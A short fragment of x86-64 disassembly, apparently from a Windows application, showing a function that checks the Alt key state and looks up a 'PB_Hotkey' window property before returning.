test sil, al
jne 0x140032248
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetKeyState]
test sil, al
je 0x140032255
mov edx, 1
mov rcx, r14
call fcn.1400322a4
test rdi, rdi
je 0x14003226f
lea rdx, str.PB_Hotkey
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetPropW]
test rax, rax
jne 0x14003227a
test rbx, rbx
je 0x14003227a
mov rax, qword [rbx + 0x10]
jmp 0x14003227c
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14003b100
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop rdi
ret